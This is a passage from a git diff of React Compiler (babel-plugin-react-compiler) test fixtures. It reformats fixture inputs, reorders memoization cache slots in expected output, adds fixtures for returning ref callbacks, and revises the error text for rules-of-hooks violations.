--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/resolve-react-hooks-based-on-import-name.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/resolve-react-hooks-based-on-import-name.js
@@ -1,10 +1,10 @@
-import { useState as useReactState } from "react";
+import {useState as useReactState} from 'react';
 
 function Component() {
   const [state, setState] = useReactState(0);
 
   const onClick = () => {
-    setState((s) => s + 1);
+    setState(s => s + 1);
   };
 
   return (
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rest-param-with-array-pattern.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rest-param-with-array-pattern.expect.md
index e8cf5645c4bb..aece9665c920 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rest-param-with-array-pattern.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rest-param-with-array-pattern.expect.md
@@ -8,7 +8,7 @@ function Component(foo, ...[bar]) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: ["foo", ["bar", "baz"]],
+  params: ['foo', ['bar', 'baz']],
 };
 
 ```
@@ -21,10 +21,10 @@ function Component(foo, ...t0) {
   const $ = _c(3);
   const [bar] = t0;
   let t1;
-  if ($[0] !== foo || $[1] !== bar) {
+  if ($[0] !== bar || $[1] !== foo) {
     t1 = [foo, bar];
-    $[0] = foo;
-    $[1] = bar;
+    $[0] = bar;
+    $[1] = foo;
     $[2] = t1;
   } else {
     t1 = $[2];
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rest-param-with-array-pattern.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rest-param-with-array-pattern.js
index b3442de346bb..50fb6fdf4c94 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rest-param-with-array-pattern.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rest-param-with-array-pattern.js
@@ -4,5 +4,5 @@ function Component(foo, ...[bar]) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: ["foo", ["bar", "baz"]],
+  params: ['foo', ['bar', 'baz']],
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rest-param-with-identifier.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rest-param-with-identifier.expect.md
index 71ac769a1da6..3681e9c46995 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rest-param-with-identifier.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rest-param-with-identifier.expect.md
@@ -8,7 +8,7 @@ function Component(foo, ...bar) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: ["foo", "bar", "baz"],
+  params: ['foo', 'bar', 'baz'],
 };
 
 ```
@@ -21,10 +21,10 @@ function Component(foo, ...t0) {
   const $ = _c(3);
   const bar = t0;
   let t1;
-  if ($[0] !== foo || $[1] !== bar) {
+  if ($[0] !== bar || $[1] !== foo) {
     t1 = [foo, bar];
-    $[0] = foo;
-    $[1] = bar;
+    $[0] = bar;
+    $[1] = foo;
     $[2] = t1;
   } else {
     t1 = $[2];
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rest-param-with-identifier.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rest-param-with-identifier.js
index cc805075040e..2d639b7458f1 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rest-param-with-identifier.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rest-param-with-identifier.js
@@ -4,5 +4,5 @@ function Component(foo, ...bar) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: ["foo", "bar", "baz"],
+  params: ['foo', 'bar', 'baz'],
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rest-param-with-object-spread-pattern.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rest-param-with-object-spread-pattern.expect.md
index b5c1518c9ddc..3e66b200411b 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rest-param-with-object-spread-pattern.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rest-param-with-object-spread-pattern.expect.md
@@ -2,13 +2,13 @@
 ## Input
 
 ```javascript
-function Component(foo, ...{ bar }) {
+function Component(foo, ...{bar}) {
   return [foo, bar];
 }
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: ["foo", { bar: "bar" }],
+  params: ['foo', {bar: 'bar'}],
 };
 
 ```
@@ -21,10 +21,10 @@ function Component(foo, ...t0) {
   const $ = _c(3);
   const { bar } = t0;
   let t1;
-  if ($[0] !== foo || $[1] !== bar) {
+  if ($[0] !== bar || $[1] !== foo) {
     t1 = [foo, bar];
-    $[0] = foo;
-    $[1] = bar;
+    $[0] = bar;
+    $[1] = foo;
     $[2] = t1;
   } else {
     t1 = $[2];
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rest-param-with-object-spread-pattern.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rest-param-with-object-spread-pattern.js
index 7701b952c1c4..8aedd82550bd 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rest-param-with-object-spread-pattern.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rest-param-with-object-spread-pattern.js
@@ -1,8 +1,8 @@
-function Component(foo, ...{ bar }) {
+function Component(foo, ...{bar}) {
   return [foo, bar];
 }
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: ["foo", { bar: "bar" }],
+  params: ['foo', {bar: 'bar'}],
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/return-conditional.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/return-conditional.expect.md
index c0930dd72d99..4749ee84e408 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/return-conditional.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/return-conditional.expect.md
@@ -12,8 +12,8 @@ function foo(a, b) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: foo,
-  params: ["TodoAdd"],
-  isComponent: "TodoAdd",
+  params: ['TodoAdd'],
+  isComponent: 'TodoAdd',
 };
 
 ```
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/return-conditional.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/return-conditional.js
index 0eb50969bd45..424319b06564 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/return-conditional.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/return-conditional.js
@@ -8,6 +8,6 @@ function foo(a, b) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: foo,
-  params: ["TodoAdd"],
-  isComponent: "TodoAdd",
+  params: ['TodoAdd'],
+  isComponent: 'TodoAdd',
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/return-ref-callback-structure.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/return-ref-callback-structure.expect.md
new file mode 100644
index 000000000000..56dffd3c8d6b
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/return-ref-callback-structure.expect.md
@@ -0,0 +1,88 @@
+
+## Input
+
+```javascript
+// @flow @validateRefAccessDuringRender @validatePreserveExistingMemoizationGuarantees
+
+import {useRef} from 'react';
+
+component Foo(cond: boolean, cond2: boolean) {
+  const ref = useRef();
+
+  const s = () => {
+    return ref.current;
+  };
+
+  if (cond) return [s];
+  else if (cond2) return {s};
+  else return {s: [s]};
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Foo,
+  params: [{cond: false, cond2: false}],
+};
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime";
+
+import { useRef } from "react";
+
+function Foo(t0) {
+  const $ = _c(4);
+  const { cond, cond2 } = t0;
+  const ref = useRef();
+  let t1;
+  if ($[0] === Symbol.for("react.memo_cache_sentinel")) {
+    t1 = () => ref.current;
+    $[0] = t1;
+  } else {
+    t1 = $[0];
+  }
+  const s = t1;
+
+  if (cond) {
+    let t2;
+    if ($[1] === Symbol.for("react.memo_cache_sentinel")) {
+      t2 = [s];
+      $[1] = t2;
+    } else {
+      t2 = $[1];
+    }
+    return t2;
+  } else {
+    if (cond2) {
+      let t2;
+      if ($[2] === Symbol.for("react.memo_cache_sentinel")) {
+        t2 = { s };
+        $[2] = t2;
+      } else {
+        t2 = $[2];
+      }
+      return t2;
+    } else {
+      let t2;
+      if ($[3] === Symbol.for("react.memo_cache_sentinel")) {
+        t2 = { s: [s] };
+        $[3] = t2;
+      } else {
+        t2 = $[3];
+      }
+      return t2;
+    }
+  }
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Foo,
+  params: [{ cond: false, cond2: false }],
+};
+
+```
+      
+### Eval output
+(kind: ok) {"s":["[[ function params=0 ]]"]}
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/return-ref-callback-structure.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/return-ref-callback-structure.js
new file mode 100644
index 000000000000..e37acbde348d
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/return-ref-callback-structure.js
@@ -0,0 +1,20 @@
+// @flow @validateRefAccessDuringRender @validatePreserveExistingMemoizationGuarantees
+
+import {useRef} from 'react';
+
+component Foo(cond: boolean, cond2: boolean) {
+  const ref = useRef();
+
+  const s = () => {
+    return ref.current;
+  };
+
+  if (cond) return [s];
+  else if (cond2) return {s};
+  else return {s: [s]};
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Foo,
+  params: [{cond: false, cond2: false}],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/return-ref-callback.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/return-ref-callback.expect.md
new file mode 100644
index 000000000000..45c4d4bcb091
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/return-ref-callback.expect.md
@@ -0,0 +1,56 @@
+
+## Input
+
+```javascript
+// @flow @validateRefAccessDuringRender @validatePreserveExistingMemoizationGuarantees
+
+import {useRef} from 'react';
+
+component Foo() {
+  const ref = useRef();
+
+  const s = () => {
+    return ref.current;
+  };
+
+  return s;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Foo,
+  params: [],
+};
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime";
+
+import { useRef } from "react";
+
+function Foo() {
+  const $ = _c(1);
+  const ref = useRef();
+  let t0;
+  if ($[0] === Symbol.for("react.memo_cache_sentinel")) {
+    t0 = () => ref.current;
+    $[0] = t0;
+  } else {
+    t0 = $[0];
+  }
+  const s = t0;
+
+  return s;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Foo,
+  params: [],
+};
+
+```
+      
+### Eval output
+(kind: ok) "[[ function params=0 ]]"
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/return-ref-callback.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/return-ref-callback.js
new file mode 100644
index 000000000000..f1a45ebc4ff3
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/return-ref-callback.js
@@ -0,0 +1,18 @@
+// @flow @validateRefAccessDuringRender @validatePreserveExistingMemoizationGuarantees
+
+import {useRef} from 'react';
+
+component Foo() {
+  const ref = useRef();
+
+  const s = () => {
+    return ref.current;
+  };
+
+  return s;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Foo,
+  params: [],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/return-undefined.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/return-undefined.expect.md
index edf806217582..d701e69772cf 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/return-undefined.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/return-undefined.expect.md
@@ -11,8 +11,8 @@ function Component(props) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: ["TodoAdd"],
-  isComponent: "TodoAdd",
+  params: ['TodoAdd'],
+  isComponent: 'TodoAdd',
 };
 
 ```
@@ -24,6 +24,7 @@ function Component(props) {
   if (props.cond) {
     return;
   }
+
   return props.value;
 }
 
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/return-undefined.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/return-undefined.js
index 75393fcc447d..7192e889431d 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/return-undefined.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/return-undefined.js
@@ -7,6 +7,6 @@ function Component(props) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: ["TodoAdd"],
-  isComponent: "TodoAdd",
+  params: ['TodoAdd'],
+  isComponent: 'TodoAdd',
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reverse-postorder.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reverse-postorder.expect.md
index be053ca350ee..98f2cd2190c2 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reverse-postorder.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reverse-postorder.expect.md
@@ -32,8 +32,8 @@ function Component(props) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: ["TodoAdd"],
-  isComponent: "TodoAdd",
+  params: ['TodoAdd'],
+  isComponent: 'TodoAdd',
 };
 
 ```
@@ -50,10 +50,8 @@ function Component(props) {
       case 1: {
         break bb0;
       }
-      case 2: {
-      }
-      default: {
-      }
+      case 2:
+      default:
     }
   } else {
     if (props.cond2) {
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reverse-postorder.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reverse-postorder.js
index a8db6d39b135..32b64e73197d 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reverse-postorder.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reverse-postorder.js
@@ -28,6 +28,6 @@ function Component(props) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: ["TodoAdd"],
-  isComponent: "TodoAdd",
+  params: ['TodoAdd'],
+  isComponent: 'TodoAdd',
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rewrite-phis-in-lambda-capture-context.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rewrite-phis-in-lambda-capture-context.expect.md
index 2e451d894898..d3a66a72f3bf 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rewrite-phis-in-lambda-capture-context.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rewrite-phis-in-lambda-capture-context.expect.md
@@ -22,26 +22,22 @@ function Component() {
 ## Code
 
 ```javascript
-import { c as _c } from "react/compiler-runtime";
 function Component() {
-  const $ = _c(1);
-  let t0;
-  if ($[0] === Symbol.for("react.memo_cache_sentinel")) {
-    t0 = () => {
-      while (bar()) {
-        if (baz) {
-          bar();
-        }
-      }
-      return () => 4;
-    };
-    $[0] = t0;
-  } else {
-    t0 = $[0];
-  }
-  const get4 = t0;
+  const get4 = _temp2;
+
   return get4;
 }
+function _temp2() {
+  while (bar()) {
+    if (baz) {
+      bar();
+    }
+  }
+  return _temp;
+}
+function _temp() {
+  return 4;
+}
 
 ```
       
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/allow-locals-named-like-hooks.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/allow-locals-named-like-hooks.expect.md
index c7269d0f4ec7..002bc6ee89be 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/allow-locals-named-like-hooks.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/allow-locals-named-like-hooks.expect.md
@@ -2,7 +2,7 @@
 ## Input
 
 ```javascript
-import { makeObject_Primitives } from "shared-runtime";
+import {makeObject_Primitives, Stringify} from 'shared-runtime';
 
 function Component(props) {
   let useFeature = makeObject_Primitives();
@@ -32,7 +32,7 @@ export const FIXTURE_ENTRYPOINT = {
 
 ```javascript
 import { c as _c } from "react/compiler-runtime";
-import { makeObject_Primitives } from "shared-runtime";
+import { makeObject_Primitives, Stringify } from "shared-runtime";
 
 function Component(props) {
   const $ = _c(2);
@@ -75,4 +75,4 @@ export const FIXTURE_ENTRYPOINT = {
 ```
       
 ### Eval output
-(kind: exception) Stringify is not defined
\ No newline at end of file
+(kind: ok) <div>{"val":{"a":0,"b":"value1","c":true},"children":[2,"[[ cyclic ref *1 ]]",null]}</div>
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/allow-locals-named-like-hooks.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/allow-locals-named-like-hooks.js
index 85638ea420f9..8715db07ece6 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/allow-locals-named-like-hooks.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/allow-locals-named-like-hooks.js
@@ -1,4 +1,4 @@
-import { makeObject_Primitives } from "shared-runtime";
+import {makeObject_Primitives, Stringify} from 'shared-runtime';
 
 function Component(props) {
   let useFeature = makeObject_Primitives();
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/allow-props-named-like-hooks.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/allow-props-named-like-hooks.expect.md
index d53752a7d011..746e048b4329 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/allow-props-named-like-hooks.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/allow-props-named-like-hooks.expect.md
@@ -2,9 +2,9 @@
 ## Input
 
 ```javascript
-import { Stringify } from "shared-runtime";
+import {Stringify} from 'shared-runtime';
 
-function Component({ useFeature }) {
+function Component({useFeature}) {
   let x;
   if (useFeature) {
     x = [useFeature + useFeature].push(-useFeature);
@@ -22,7 +22,7 @@ function Component({ useFeature }) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: [{ useFeature: { useProperty: true } }],
+  params: [{useFeature: {useProperty: true}}],
 };
 
 ```
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/allow-props-named-like-hooks.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/allow-props-named-like-hooks.js
index 156f32e9ee34..2499de46ed39 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/allow-props-named-like-hooks.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/allow-props-named-like-hooks.js
@@ -1,6 +1,6 @@
-import { Stringify } from "shared-runtime";
+import {Stringify} from 'shared-runtime';
 
-function Component({ useFeature }) {
+function Component({useFeature}) {
   let x;
   if (useFeature) {
     x = [useFeature + useFeature].push(-useFeature);
@@ -18,5 +18,5 @@ function Component({ useFeature }) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: [{ useFeature: { useProperty: true } }],
+  params: [{useFeature: {useProperty: true}}],
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/error.bail.rules-of-hooks-3d692676194b.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/error.bail.rules-of-hooks-3d692676194b.expect.md
index 04808379b7f1..7371cda580ff 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/error.bail.rules-of-hooks-3d692676194b.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/error.bail.rules-of-hooks-3d692676194b.expect.md
@@ -20,10 +20,17 @@ const ComponentWithHookInsideCallback = React.forwardRef((props, ref) => {
 ## Error
 
 ```
+Found 1 error:
+
+Error: Hooks must be called at the top level in the body of a function component or custom hook, and may not be called within function expressions. See the Rules of Hooks (https://react.dev/warnings/invalid-hook-call-warning)
+
+Cannot call hook within a function expression.
+
+error.bail.rules-of-hooks-3d692676194b.ts:8:4
    6 | const ComponentWithHookInsideCallback = React.forwardRef((props, ref) => {
    7 |   useEffect(() => {
 >  8 |     useHookInsideCallback();
-     |     ^^^^^^^^^^^^^^^^^^^^^ InvalidReact: Hooks must be called at the top level in the body of a function component or custom hook, and may not be called within function expressions. See the Rules of Hooks (https://react.dev/warnings/invalid-hook-call-warning). Cannot call Custom within a function component (8:8)
+     |     ^^^^^^^^^^^^^^^^^^^^^ Hooks must be called at the top level in the body of a function component or custom hook, and may not be called within function expressions. See the Rules of Hooks (https://react.dev/warnings/invalid-hook-call-warning)
    9 |   });
   10 |   return <button {...props} ref={ref} />;
   11 | });
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/error.bail.rules-of-hooks-8503ca76d6f8.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/error.bail.rules-of-hooks-8503ca76d6f8.expect.md
index 22b41d6dfa32..e4f2c1e7a2aa 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/error.bail.rules-of-hooks-8503ca76d6f8.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/error.bail.rules-of-hooks-8503ca76d6f8.expect.md
@@ -7,7 +7,7 @@
 
 // Invalid because it's a common misunderstanding.
 // We *could* make it valid but the runtime error could be confusing.
-const ComponentWithHookInsideCallback = React.memo((props) => {
+const ComponentWithHookInsideCallback = React.memo(props => {
   useEffect(() => {
     useHookInsideCallback();
   });
@@ -20,10 +20,17 @@ const ComponentWithHookInsideCallback = React.memo((props) => {
 ## Error
 
 ```
-   6 | const ComponentWithHookInsideCallback = React.memo((props) => {
+Found 1 error:
+
+Error: Hooks must be called at the top level in the body of a function component or custom hook, and may not be called within function expressions. See the Rules of Hooks (https://react.dev/warnings/invalid-hook-call-warning)
+
+Cannot call hook within a function expression.
+
+error.bail.rules-of-hooks-8503ca76d6f8.ts:8:4
+   6 | const ComponentWithHookInsideCallback = React.memo(props => {
    7 |   useEffect(() => {
 >  8 |     useHookInsideCallback();
-     |     ^^^^^^^^^^^^^^^^^^^^^ InvalidReact: Hooks must be called at the top level in the body of a function component or custom hook, and may not be called within function expressions. See the Rules of Hooks (https://react.dev/warnings/invalid-hook-call-warning). Cannot call Custom within a function component (8:8)
+     |     ^^^^^^^^^^^^^^^^^^^^^ Hooks must be called at the top level in the body of a function component or custom hook, and may not be called within function expressions. See the Rules of Hooks (https://react.dev/warnings/invalid-hook-call-warning)
    9 |   });
   10 |   return <button {...props} />;
   11 | });
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/error.bail.rules-of-hooks-8503ca76d6f8.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/error.bail.rules-of-hooks-8503ca76d6f8.js
index a6fe9f01f4dd..810aa776731e 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/error.bail.rules-of-hooks-8503ca76d6f8.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/error.bail.rules-of-hooks-8503ca76d6f8.js
@@ -3,7 +3,7 @@
 
 // Invalid because it's a common misunderstanding.
 // We *could* make it valid but the runtime error could be confusing.
-const ComponentWithHookInsideCallback = React.memo((props) => {
+const ComponentWithHookInsideCallback = React.memo(props => {
   useEffect(() => {
     useHookInsideCallback();
   });
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/error.invalid-call-phi-possibly-hook.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/error.invalid-call-phi-possibly-hook.expect.md
index 336d332ea965..e53fc3c866ca 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/error.invalid-call-phi-possibly-hook.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/error.invalid-call-phi-possibly-hook.expect.md
@@ -18,17 +18,39 @@ function Component(props) {
 ## Error
 
 ```
+Found 3 errors:
+
+Error: Hooks may not be referenced as normal values, they must be called. See https://react.dev/reference/rules/react-calls-components-and-hooks#never-pass-around-hooks-as-regular-values
+
+error.invalid-call-phi-possibly-hook.ts:3:31
   1 | function Component(props) {
   2 |   // This is a violation of using a hook as a normal value rule:
 > 3 |   const getUser = props.cond ? useGetUser : emptyFunction;
-    |                                ^^^^^^^^^^ InvalidReact: Hooks may not be referenced as normal values, they must be called. See https://react.dev/reference/rules/react-calls-components-and-hooks#never-pass-around-hooks-as-regular-values (3:3)
+    |                                ^^^^^^^^^^ Hooks may not be referenced as normal values, they must be called. See https://react.dev/reference/rules/react-calls-components-and-hooks#never-pass-around-hooks-as-regular-values
+  4 |
+  5 |   // Ideally we would report a "conditional hook call" error here.
+  6 |   // It's an unconditional call, but the value may or may not be a hook.
 
-InvalidReact: Hooks may not be referenced as normal values, they must be called. See https://react.dev/reference/rules/react-calls-components-and-hooks#never-pass-around-hooks-as-regular-values (3:3)
+Error: Hooks may not be referenced as normal values, they must be called. See https://react.dev/reference/rules/react-calls-components-and-hooks#never-pass-around-hooks-as-regular-values
 
-InvalidReact: Hooks may not be referenced as normal values, they must be called. See https://react.dev/reference/rules/react-calls-components-and-hooks#never-pass-around-hooks-as-regular-values (8:8)
+error.invalid-call-phi-possibly-hook.ts:3:18
+  1 | function Component(props) {
+  2 |   // This is a violation of using a hook as a normal value rule:
+> 3 |   const getUser = props.cond ? useGetUser : emptyFunction;
+    |                   ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ Hooks may not be referenced as normal values, they must be called. See https://react.dev/reference/rules/react-calls-components-and-hooks#never-pass-around-hooks-as-regular-values
   4 |
   5 |   // Ideally we would report a "conditional hook call" error here.
   6 |   // It's an unconditional call, but the value may or may not be a hook.
+
+Error: Hooks may not be referenced as normal values, they must be called. See https://react.dev/reference/rules/react-calls-components-and-hooks#never-pass-around-hooks-as-regular-values
+
+error.invalid-call-phi-possibly-hook.ts:8:9
+   6 |   // It's an unconditional call, but the value may or may not be a hook.
+   7 |   // TODO: report a conditional hook call error here
+>  8 |   return getUser();
+     |          ^^^^^^^ Hooks may not be referenced as normal values, they must be called. See https://react.dev/reference/rules/react-calls-components-and-hooks#never-pass-around-hooks-as-regular-values
+   9 | }
+  10 |
 ```
           
       
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/error.invalid-conditionally-call-local-named-like-hook.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/error.invalid-conditionally-call-local-named-like-hook.expect.md
index 882c8618b4b9..2282fd64469c 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/error.invalid-conditionally-call-local-named-like-hook.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/error.invalid-conditionally-call-local-named-like-hook.expect.md
@@ -2,7 +2,7 @@
 ## Input
 
 ```javascript
-import { makeObject_Primitives } from "shared-runtime";
+import {makeObject_Primitives} from 'shared-runtime';
 
 function Component(props) {
   const useFoo = makeObject_Primitives();
@@ -17,10 +17,15 @@ function Component(props) {
 ## Error
 
 ```
+Found 1 error:
+
+Error: Hooks must always be called in a consistent order, and may not be called conditionally. See the Rules of Hooks (https://react.dev/warnings/invalid-hook-call-warning)
+
+error.invalid-conditionally-call-local-named-like-hook.ts:6:4
   4 |   const useFoo = makeObject_Primitives();
   5 |   if (props.cond) {
 > 6 |     useFoo();
